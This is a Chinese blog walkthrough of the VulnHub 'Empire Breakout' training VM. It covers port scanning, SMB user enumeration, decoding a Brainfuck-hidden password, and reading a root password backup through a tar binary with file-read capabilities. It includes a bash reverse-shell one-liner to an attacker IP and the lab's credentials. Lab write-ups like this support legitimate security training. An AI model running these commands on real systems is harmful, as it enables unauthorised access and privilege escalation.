[ vulnhub靶机通关篇 ] Empire Breakout 通关详解

news2024/10/6 15:20:25

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。旨在让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。

文章目录

  • 🍬 博主介绍
  • 一、环境搭建:
    • 1、下载靶场环境
    • 2、启动靶场环境
  • 二、渗透靶场
    • 1、目标:
    • 2、信息收集:查看端口和服务
    • 3、访问80端口发现提示信息得到一个密码
      • 1.访问一下web
      • 2.查看源码发现一段提示
      • 3.翻译解密提示信息
      • 4.brainfuck 语言简介
    • 4、访问10000和20000端口发现两个登录页
      • 1.访问10000端口
      • 2.访问20000端口
    • 5、收集有关靶机smb的信息获取到用户名cyber
      • 1.思路
      • 2.收集smb信息
      • 3.Enum4linux介绍
    • 6、利用获取的用户名和密码成功登录20000端口
    • 7、获取普通用户权限获取第一个flag
    • 8、获取root用户权限获取第一个flag
      • 1.查看当前权限
      • 2.发现tar可进行任意文件读取
      • 3.linux setcap命令的信息
      • 4.发现备份文件.old_pass.bak
      • 5.利用tar读取密码备份文件
      • 6.成功读取root密码
      • 7.发现网页命令行无法执行su命令
      • 8.反弹靶机shell到kali方式解决上述问题
      • 9.使用root密码登录root用户,提权成功
  • 三、相关资源

一、环境搭建:

1、下载靶场环境

靶场下载地址:

https://www.vulnhub.com/entry/empire-breakout,751/

下载下来的文件如下

在这里插入图片描述

2、启动靶场环境

下载下来是虚拟机压缩文件,直接用Vmvare导入就行。

在这里插入图片描述

设置虚拟机名称

在这里插入图片描述

导入中

在这里插入图片描述

导入完成之后打开后把网络模式设置为NAT模式。
虚拟机开启之后界面如下,我们可以看到虚拟机ip:192.168.233.175

在这里插入图片描述

二、渗透靶场

1、目标:

目标就是我们搭建的靶场,靶场IP为:

192.168.233.175

2、信息收集:查看端口和服务

Nmap扫描靶机查看开启的端口和服务

nmap -sS -p 0-65535 -Pn -O 192.168.233.175

在这里插入图片描述

发现开放了80端口,存在WEB,
开放了139,445端口,存在SMB共享服务
开启了10000、20000端口,存在Webmin MiniServ服务(Webmin 是功能强大的基于 Web 的 Unix/linux 系统管理工具。管理员通过浏览器访问 Webmin 的各种管理功能并完成相应的管理操作。)

3、访问80端口发现提示信息得到一个密码

1.访问一下web

http://192.168.233.175/

在这里插入图片描述

2.查看源码发现一段提示

<!--don't worry no one will get here, it's safe to share with you my access. Its encrypted :)
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.-->

在这里插入图片描述

3.翻译解密提示信息

提示的大概意思就是:
翻译过来时:别担心没有人会来这里,和你分享我的权限是安全的。它是加密的:)
也就是说这段奇奇怪怪的代码是加密文件,我们需要将他进行解密,这应该是密码经过某种加密或者编码形成的,经过一段时间的查找,发现是ook加密,是brainfuck加密方法的一种
我们进行解密:解密工具:https://ctf.bugku.com/tool/brainfuck
解密过后是:

.2uqPEfj3D<P’a-3

在这里插入图片描述

4.brainfuck 语言简介

brainfuck 语言用 > < + - . , [ ] 八种符号来替换C语言的各种语法和命令,具体规则如下:
Brainfuck 编程语言由八个命令组成,每个命令都表示为一个字符。

> 增加指针。 
< 减少指针。 
+ 增加指针处的字节。 
- 减少指针处的字节。 
. 输出指针处的字节。 
, 输入一个字节并将其存储在指针处的字节中。 
[ 跳过匹配项] 如果指针处的字节为零。 
] 向后跳转到匹配的 [ 除非指针处的字节为零。 
Brainfuck 命令的语义也可以用 C 语言简洁地表达,如下(假设 p 之前已定义为 char*): 
> 变为 ++p; 
< 变成 --p; 
+ 变为 ++*p; 
- 变成 --*p; 
. 变成 putchar(*p); 
, 变成 *p = getchar(); 
[ 变成 while (*p) { 
] 变成 } 

4、访问10000和20000端口发现两个登录页

有一种强烈的预感,这是一段密码,先记录下来,接着我们继续查看另外两个网站
10000端口和20000端口是不同的登录系统,一个是登录网站的,一个是登录用户的

1.访问10000端口

https://192.168.233.175:10000/session_login.cgi

在这里插入图片描述

2.访问20000端口

https://192.168.233.175:20000/

在这里插入图片描述

5、收集有关靶机smb的信息获取到用户名cyber

1.思路

鉴于我们已经有了用户的密码,所以我们要着手寻找用户名了
由于靶机开放了smb服务,所以我们可以收集有关靶机smb的信息

2.收集smb信息

使用命令enum4linux可以收集大量的信息

enum4linux 192.168.233.175

在这里插入图片描述

最终发现了一个用户名cyber

在这里插入图片描述

3.Enum4linux介绍

Enum4linux是一个用于枚举来自Windows和Samba系统的信息的工具。 它试图提供与以前从www.bindview.com可用的enum.exe类似的功能。它是用Perl编写的,基本上是一个包装Samba工具smbclient,rpclient,net和nmblookup。
用法:

./enum4linux.pl [选项] ip地址

枚举选项:
     -U        获取用户列表
     -M        获取机器列表*
     -S        获取共享列表
     -P        获取密码策略信息
     -G        获取组和成员列表
     -d        详述适用于-U和-S
     -u user   用户指定要使用的用户名(默认""-p pass   指定要使用的密码(默认为"")

以下选项是enum.exe未实现的: -L, -N, -D, -f

其他选项:
    -a        做所有简单枚举(-U -S -G -P -r -o -n -i),如果您没有提供任何其他选项,则启用此选项
    -h        显示此帮助消息并退出
    -r        通过RID循环枚举用户
    -R range  RID范围要枚举(默认值:500-550,1000-1050,隐含-r)
    -K n      继续搜索RID,直到n个连续的RID与用户名不对应,Impies RID范围结束于999999.对DC有用
    -l        通过LDAP 389 / TCP获取一些(有限的)信息(仅适用于DN)
    -s        文件暴力猜测共享名称
    -k user   远程系统上存在的用户(默认值:administrator,guest,krbtgt,domain admins,root,bin,none)
              用于获取sid与“lookupsid known_username”
              使用逗号尝试几个用户:“-k admin,user1,user2”
    -o        获取操作系统信息
    -i        获取打印机信息
    -w wrkg   手动指定工作组(通常自动找到)
    -n        做一个nmblookup(类似于nbtstat)
-v        详细输出,显示正在运行的完整命令(net,rpcclient等)

6、利用获取的用户名和密码成功登录20000端口

由于20000端口是登录用户的,我们拿用户名cyber和之前获得的密码去登录一下20000端口,登陆成功

在这里插入图片描述

7、获取普通用户权限获取第一个flag

登录进去摸索了一会儿,发现左下角有一个终端的图标,点进去之后就可以运行命令了

在这里插入图片描述

进入命令行,执行ls发现有一个user.txt文件,使用cat查看,得到第一个flag

ls
cat user.txt

在这里插入图片描述

8、获取root用户权限获取第一个flag

1.查看当前权限

执行whoami发现是用户权限

whoami

在这里插入图片描述

2.发现tar可进行任意文件读取

通过ls -l查看文件权限,发现tar具有执行权限,猜想他是一个可执行文件

ls -l

在这里插入图片描述

通过getcap命令查看文件拥有的权限是什么

getcap tar

发现cap_dac_read _search=ep,说明他是可以读取任意文件的

在这里插入图片描述

3.linux setcap命令的信息

https://blog.csdn.net/megan_free/article/details/100357702\

4.发现备份文件.old_pass.bak

既然给了我们一个可进行任意读取的可执行文件,那就肯定是要我们找一个文件来读取,获得root的密码。
经过一段时间的寻找之后,发现/var/backups下有个备份文件.old_pass.bak

在这里插入图片描述

5.利用tar读取密码备份文件

我们用tar把它打包之后再解压出来,就没有权限问题了

./tar -cvf pass.tar /var/backups/.old_pass.bak
tar -xvf pass.tar

这里打包的时候一定要使用./tar,不然会提示没权限,没有加./代表的是你用的系统安装的tar不是这个目录下的tar,就不一定会有读取任意文件的权限

在这里插入图片描述

我们的用户目录下多了两个文件

在这里插入图片描述

6.成功读取root密码

cat var/backups/.old_pass.bak

得到root密码:

Ts&4&YurgtRX(=~h

在这里插入图片描述

7.发现网页命令行无法执行su命令

切换到root用户

su root

发现这里执行不了su

在这里插入图片描述

8.反弹靶机shell到kali方式解决上述问题

反弹shell后
那那那,我干脆反弹一个shell到我的kali吧
Kali监听

nc -lvvp 55555

在这里插入图片描述

靶机连接

bash -i >& /dev/tcp/192.168.233.130/55555 0>&1

在这里插入图片描述

攻击机获取到靶机的shell

在这里插入图片描述

9.使用root密码登录root用户,提权成功

切换到root用户

su root

执行whoami 发现是root权限,提权成功

在这里插入图片描述

得到第二个flag

cd /root
cat rOOt.txt

在这里插入图片描述

三、相关资源

1、靶场下载地址
2、ook在线解密工具
3、enum4linux枚举工具
4、Brainfuck介绍
5、[ 隧道技术 ] 反弹shell的集中常见方式(二)bash 反弹shell
6、[ 隧道技术 ] 反弹shell的集中常见方式(一)nc反弹shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/389801.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

应用层协议 HTTP HTTPS

目录 应用层 再谈 "协议" 序列化和反序列化 关于 json库 request序列化 request反序列化 response序列化 response反序列化 PS&#xff1a;命令宏 HTTP协议 认识URL urlencode和urldecode HTTP协议格式 HTTP请求 HTTP响应 请求方法 ​编辑 HT…

使用Element-UI展示数据(动态查询)

学习内容来源&#xff1a;视频P4 本篇文章进度接着之前的文章进行续写 精简前后端分离项目搭建 Vue基础容器使用 目录选择组件修改表格组件修改分页组件增加后端接口前端请求数据接口页面初始化请求数据点击页码请求数据选择组件 在官方文档中选择现成的组件&#xff0c;放在页…

XSS漏洞分类

XSS漏洞分类XSS分类反射型XSS反射XSS案例存储型XSS存储型XSS实操XSS分类 XSS根据类型和利用手法的不同&#xff0c;主要分为三大类&#xff1a; 反射型XSS存储型XSSDOM型XSS 反射型XSS 反射型XSS又称为非持久型XSS&#xff0c;是现在最容易出现的一种XSS漏洞。用户在请求某…

零死角玩转stm32初级篇4-初识 STM32 库

本篇博文目录:一.STM32库开发的相关概念知识1.什么是 STM32 库&#xff1f;2.CMSIS 标准二.STM32 结构及库层次关系1.库目录&#xff0c;文件简介2.CMSIS3.STM32F10x_StdPeriph_Driver4.STM32F10x_StdPeriph_Template5.库各文件间的关系三.使用库帮助文档1.常用官方资料2.官网手…

Math类详解与Random类、三种随机数生成方式(java)

文章目录&#x1f4d6;前言&#xff1a;&#x1f380;认识Random类&#x1f380;三种随机数生成方式&#x1f380;Math类的用途&#x1f380;Math类的方法&#x1f4d6;前言&#xff1a; 本篇博客主要以介绍Math类的常用方法及认识Random类&#xff0c;及三种随机数生成方式 …

Docker学习(二十)什么是分层存储?

目录1.简介2.什么是 Union Mount&#xff1f;3.分层介绍1&#xff09;lowerdir 层&#xff08;镜像层&#xff09;2&#xff09;upperdir 层&#xff08;容器层&#xff09;3&#xff09;merged 层4.工作原理1&#xff09;读&#xff1a;2&#xff09;写&#xff1a;3&#xff…

Java位集合之BitMap,BitSet解析

文章目录1 Java位集合1.1 Bit-Map1.1.1 简介1.1.2 添加1.1.3 清除1.1.4 查找1.2 Bitmap应用1.2.1 快速排序1.2.2 快速去重1.2.3 快速查找1.3 BitSet1.4 Bloom Filters1.4.1 简介1.4.2 BloomFilter 流程1 Java位集合 前几天刚学习了Redis中位操作命令&#xff0c;今天顺便学下j…

【unity】rts engine 6 放置并建造建筑;

一 放置并建造建筑 GameManager -> Essential -> BuildingExtension 查看 building placement building position y offset Y轴偏移&#xff0c;建筑离地距离&#xff0c;可0.1 terrain max distance 放置建筑与允许地形的最大距离&#xff0c;可1 placable terrain …

linux基本指令和权限

目录 一.shell命令以及运行原理 二.Linux常用指令 1. ls 指令 2. pwd命令 3.cd指令 4. touch指令 5.mkdir指令&#xff08;重要&#xff09; 6.rmdir指令 && rm 指令&#xff08;重要&#xff09; 7.man指令&#xff08;重要&#xff09; 8.cp指令&#xff08;重要&…

AI_Papers周刊:第四期

2023.02.28—2023.03.05 Top Papers Subjects: cs.CL 1.Language Is Not All You Need: Aligning Perception with Language Models 标题&#xff1a;KOSMOS-1&#xff1a;语言不是你所需要的全部&#xff1a;将感知与语言模型相结合 作者&#xff1a;Shaohan Huang, Li …

[C++]vector模拟实现

目录 前言&#xff1a; 1. vector结构 2. 默认成员函数 2.1 构造函数 无参构造&#xff1a; 有参构造&#xff1a; 有参构造重载&#xff1a; 2.2 赋值运算符重载、拷贝构造&#xff08;难点&#xff09; 2.3 析构函数&#xff1a; 3. 扩容 3.1 reserve 3.2 resize…

Matlab小波去噪——基于wden函数的去噪分析

文章目录一、问题描述二、代码问题1&#xff1a;原始信号加6分贝高斯白噪声问题2&#xff1a;确定合适的小波基函数问题3&#xff1a;确定最合适的阈值计算估计方法问题4&#xff1a;确定合适的分解层数问题5&#xff1a;实际信号去噪问题6&#xff1a;对比三、演示视频最后一、…

团队死气沉沉?10种玩法激活你的项目团队拥有超强凝聚力

作为项目经理和PMO&#xff0c;以及管理者最头疼的是团队的氛围和凝聚力&#xff0c;经常会发现团队死气沉沉&#xff0c;默不作声&#xff0c;你想尽办法也不能激活团队&#xff0c;也很难凝聚团队。这样的项目团队你很难带领大家去打胜仗&#xff0c;攻克堡垒。但是如何才能避…

Python|贪心|数组|二分查找|贪心|数学|树|二叉搜索树|在排序数组中查找元素的第一个和最后一个位置|计数质数 |将有序数组转换为二叉搜索树

1、在排序数组中查找元素的第一个和最后一个位置&#xff08;数组&#xff0c;二分查找&#xff09; 给定一个按照升序排列的整数数组 nums&#xff0c;和一个目标值 target。找出给定目标值在数组中的开始位置和结束位置。 如果数组中不存在目标值 target&#xff0c;返回 […

第十四届蓝桥杯三月真题刷题训练——第 2 天

目录 题目1&#xff1a;奇数倍数 代码: 题目2&#xff1a;求值 代码: 题目3&#xff1a;求和 代码: 题目4&#xff1a;数位排序 代码: 题目1&#xff1a;奇数倍数 题目描述 本题为填空题&#xff0c;只需要算出结果后&#xff0c;在代码中使用输出语句将所填结果输出即…

收银系统的设计与实现

技术&#xff1a;Java、JSP等摘要&#xff1a;随着销售行业竞争的日益激烈&#xff0c;收银系统的引入显得极其重要。收银系统不但可以提高商品存储管理的工作效率&#xff0c;而且可以有效减少盲目采购、降低采购成本、合理控制库存、减少资金占用并提高市场灵敏度&#xff0c…

Java虚拟机的运行时数据区-go语言实现

Java虚拟机的运行时数据区 Java虚拟机把存放各式各样数据的内存区域叫作运行时数据区。运行时数据区分成两类&#xff1a; 一类时多线程共享的&#xff0c;一类时线程私有的。多线程共享的数据在Java虚拟机启动时创建好&#xff0c;在Java虚拟机退出时销毁。线程私有的运行时…

序列号和反序列化--java--Serializable接口--json序列化普通使用

序列化和反序列化序列化和反序列化作用为什么需要用途Serializable使用serialVersionUID不设置的后果什么时候修改Externalizable序列化的顺序json序列化序列化和反序列化 序列化&#xff1a;把对象转换为字节序列的过程称为对象的序列化。 反序列化:把字节序列恢复为对象的过…

【Go语言学习】安装与配置

文章目录前言一、Go语言学习站二、安装与配置1.安装2.环境变量配置3.Gland编辑器安装与配置Hello, World!总结前言 Go语言特性 Go&#xff0c;又称为 Golang&#xff0c;是一门开源的编程语言&#xff0c;由 Google 开发。Go 语言的设计目标是提供一种简单、快速、高效、安全…

在MySQL中使用不等于符号还能走索引吗?

一般情况下&#xff0c;我们会在一个索引上较多的使用等值查询或者范围查询&#xff0c;此时索引大多可以帮助我们极快的查询出我们需要的数据。 那当我们在where条件中对索引列使用!查询&#xff0c;索引还能发挥他的作用吗&#xff1f; 以此SQL为例&#xff1a; select * …